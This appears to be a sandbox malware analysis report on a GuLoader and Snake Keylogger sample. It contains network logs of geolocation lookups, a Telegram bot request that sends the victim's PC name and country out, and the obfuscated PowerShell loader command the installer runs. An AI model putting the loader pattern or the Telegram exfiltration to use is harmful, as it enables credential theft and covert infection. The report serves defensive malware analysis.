2025-01-08 15:21:28 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:28 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664477 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IWTn1MOLV4Z2CNVVe9HU6wEa7aW6Lna3BvX1AXNmGOfOVUcb6P03DvHbO8IiPi6KXiQu%2BRX9bT4CIaiZ818%2F4dWEY8uyT4wSvSxr0DyM5ZzZAyBfb3cF%2BYBWCEYtSE0G0kNzVB5U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d7169536a5e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1704&min_rtt=1699&rtt_var=648&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1676234&cwnd=188&unsent_bytes=0&cid=dc72639c2f45d71a&ts=166&x=0"
2025-01-08 15:21:28 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49719	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:30 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-08 15:21:30 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:30 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664479 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UdTZR49IgyEmIwH3LN5Th5LEKNAd%2BJCUGWIx5X7wCHJzy%2Fv3PXXd6Uuhm%2FF34oZAG8RP48lGgSlqLNAl37cHS4Ogg%2BnXfokUXPvZhxucihkTAZVasUT7yGZDDmJLesYY8kDaRiww"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d7b3ff9de98-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1467&min_rtt=1457&rtt_var=566&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1898569&cwnd=212&unsent_bytes=0&cid=a291ecb97c8fa20a&ts=154&x=0"
2025-01-08 15:21:30 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49721	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:31 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:21:31 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:31 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664480 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0erhgb%2FI0fVPiOo3QgzqtuUVfKfexop8ACuR%2FZZARr9b0S6HbQwjJ48CkNFfndxLHxGINZdpZJBxAK%2F9PNY1Hht8Ph31jdc4radYiXIoVvdXixduLpRw6bqGfrG79LUOxzO%2Bwhy0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d8459f57d1a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2008&min_rtt=2002&rtt_var=763&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1423001&cwnd=179&unsent_bytes=0&cid=30eebc8bba95207a&ts=138&x=0"
2025-01-08 15:21:31 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49723	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:32 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:21:33 UTC	861	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:33 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664482 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6Ff05bje8ZEsJ%2Bbg1m%2F86aFKuYyzyMyteUKy%2F4YVvz4u8w%2FfaOYyXI0vNv37ldRh0VbKCzpzK2OTAZMf3sS4FSkJQPoOPtIpVLdUk6dvdesAp%2B1o3bZsbdBayTVo%2BLwM6XkTXw96"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d8d387dc407-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1469&rtt_var=562&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1928665&cwnd=197&unsent_bytes=0&cid=e28f7d44e5deb097&ts=153&x=0"
2025-01-08 15:21:33 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49725	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:34 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:21:34 UTC	859	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:34 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664483 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B04g3PfjYz8xie3G9rOKDbNIVYjyKnft6AJHuY9rcTKg4w%2B9yIix2h3bz%2B5nPnjYxRmsDkafiLUnNcu%2BxNOYItNfFqBS7ZouEHoru%2FuArp7dtoJ0rJlyL1JAgKdhMe0JOFzAcaJ7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2d962fc6f78d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1509&min_rtt=1494&rtt_var=592&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1801357&cwnd=125&unsent_bytes=0&cid=1c106ad3f68ea58a&ts=156&x=0"
2025-01-08 15:21:34 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49727	188.114.97.3	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:35 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-08 15:21:36 UTC	861	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 15:21:36 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1664485 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I5FU0zT2FRwagSTuKhKNOKGbsr0%2FDrFdFzI%2BQjyVnlw4HNT0N2H3A%2FKTpVEK6pLY%2FXds71ppqw3lqY9ExBYWnMk9GiQCaEIhP4dgqicCKTieaGdUG4eewP3Tu%2BbtuJEsFCq9V%2Fw8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed2da02f1d422d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1660&rtt_var=644&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1671436&cwnd=232&unsent_bytes=0&cid=614319a04a809769&ts=156&x=0"
2025-01-08 15:21:36 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49728	149.154.167.220	443	3504	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 15:21:36 UTC	345	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:878411%0D%0ADate%20and%20Time:%2009/01/2025%20/%2000:44:31%0D%0ACountry%20Name:%20United%20States%0D%0A[%20878411%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20] HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-08 15:21:36 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 08 Jan 2025 15:21:36 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-08 15:21:36 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	10:20:02
Start date:	08/01/2025
Path:	C:\Users\user\Desktop\HVSU7GbA5N.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\HVSU7GbA5N.exe"
Imagebase:	0x400000
File size:	650'314 bytes
MD5 hash:	9EEAA6C9CE625021AC21B5EB40FB73E7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:20:03
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle minimized "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)"
Imagebase:	0xe20000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2032574742.000000000A644000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:20:03
Start date:	08/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:21:05
Start date:	08/01/2025
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x2d0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.2665789154.0000000023071000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	22.9%
Total number of Nodes:	1244
Total number of Limit Nodes:	39

Executed Functions

Function 004030B6 Relevance: 79.1, APIs: 27, Strings: 18, Instructions: 337
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004030D7
SetErrorMode.KERNELBASE(00008001), ref: 004030E2
OleInitialize.OLE32(00000000), ref: 004030E9

Part of subcall function 00405EE8: GetModuleHandleA.KERNEL32(?,?,?,004030FB,00000009), ref: 00405EFA
Part of subcall function 00405EE8: LoadLibraryA.KERNELBASE(?,?,?,004030FB,00000009), ref: 00405F05
Part of subcall function 00405EE8: GetProcAddress.KERNEL32(00000000,?), ref: 00405F16

SHGetFileInfoA.SHELL32(0041EC98,00000000,?,00000160,00000000,00000009), ref: 00403111

Part of subcall function 00405BBD: lstrcpynA.KERNEL32(?,?,00000400,00403126,Originals Setup,NSIS Error), ref: 00405BCA

GetCommandLineA.KERNEL32(Originals Setup,NSIS Error), ref: 00403126
GetModuleHandleA.KERNEL32(00000000,"C:\Users\user\Desktop\HVSU7GbA5N.exe",00000000), ref: 00403139
CharNextA.USER32(00000000,"C:\Users\user\Desktop\HVSU7GbA5N.exe",00000020), ref: 00403164
GetTempPathA.KERNELBASE(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020), ref: 00403261
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB), ref: 00403272
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 0040327E
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403292
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 0040329A
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low), ref: 004032AB
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\), ref: 004032B3
DeleteFileA.KERNELBASE(1033), ref: 004032C7
OleUninitialize.OLE32(?), ref: 00403375
ExitProcess.KERNEL32 ref: 00403395
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\HVSU7GbA5N.exe",00000000,?), ref: 004033A1
lstrcmpiA.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop), ref: 004033AD
CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000), ref: 004033B9
SetCurrentDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\), ref: 004033C0
DeleteFileA.KERNEL32(0041E898,0041E898,?,"$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" ,?), ref: 00403419
CopyFileA.KERNEL32(C:\Users\user\Desktop\HVSU7GbA5N.exe,0041E898,00000001), ref: 0040342D
CloseHandle.KERNEL32(00000000,0041E898,0041E898,?,0041E898,00000000), ref: 0040345A
GetCurrentProcess.KERNEL32(00000028,?,00000006,00000005,00000004), ref: 004034B3
ExitWindowsEx.USER32(00000002,80040002), ref: 0040350B
ExitProcess.KERNEL32 ref: 0040352E

Strings

~nsu.tmp, xrefs: 0040339B
Error launching installer, xrefs: 0040332D
"$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , xrefs: 004033DD
TEMP, xrefs: 004032A6
C:\Users\user\AppData\Local\Temp\, xrefs: 00403256, 0040325B, 00403271, 0040327D, 0040328C, 00403299, 004032A5, 004032AD, 004033A0, 004033AC, 004033B8, 004033BF, 0040346E
C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens, xrefs: 00403246, 00403347, 004033C6, 004033CF
Low, xrefs: 00403294
C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens, xrefs: 00403352
C:\Users\user\Desktop\HVSU7GbA5N.exe, xrefs: 00403428
NSIS Error, xrefs: 00403117
C:\Users\user\Desktop, xrefs: 004033A6, 004033AB, 004033CE
\Temp, xrefs: 00403278
SeShutdownPrivilege, xrefs: 004034C5
", xrefs: 00403189
1033, xrefs: 004032C2
Originals Setup, xrefs: 0040311C
"C:\Users\user\Desktop\HVSU7GbA5N.exe", xrefs: 0040312C, 00403132, 004032EB
TMP, xrefs: 004032AE

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "$"$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" $"C:\Users\user\Desktop\HVSU7GbA5N.exe"$1033$C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens$C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\HVSU7GbA5N.exe$Error launching installer$Low$NSIS Error$Originals Setup$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1981984989
Opcode ID: a2a75be3d011132d4618424123a2539fe2665dee191949de8570e11e155f9849
Instruction ID: 19acd6a9e22a62aa3fa635d9352380a3979e711e0520c28b60a65d3217cef685
Opcode Fuzzy Hash: a2a75be3d011132d4618424123a2539fe2665dee191949de8570e11e155f9849
Instruction Fuzzy Hash: 87B1E370A082516AE7216F755C89B2B7EACEB45306F04057FF581B62D2C77C9E01CB6E

Function 00404FE4 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405043
GetDlgItem.USER32(?,000003EE), ref: 00405052
GetClientRect.USER32(?,?), ref: 0040508F
GetSystemMetrics.USER32(00000002), ref: 00405096
SendMessageA.USER32(?,0000101B,00000000,?), ref: 004050B7
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004050C8
SendMessageA.USER32(?,00001001,00000000,?), ref: 004050DB
SendMessageA.USER32(?,00001026,00000000,?), ref: 004050E9
SendMessageA.USER32(?,00001024,00000000,?), ref: 004050FC
ShowWindow.USER32(00000000,?,0000001B,?), ref: 0040511E
ShowWindow.USER32(?,00000008), ref: 00405132
GetDlgItem.USER32(?,000003EC), ref: 00405153
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405163
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040517C
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405188
GetDlgItem.USER32(?,000003F8), ref: 00405061

Part of subcall function 00403EA8: SendMessageA.USER32(00000028,?,00000001,00403CD9), ref: 00403EB6

GetDlgItem.USER32(?,000003EC), ref: 004051A4
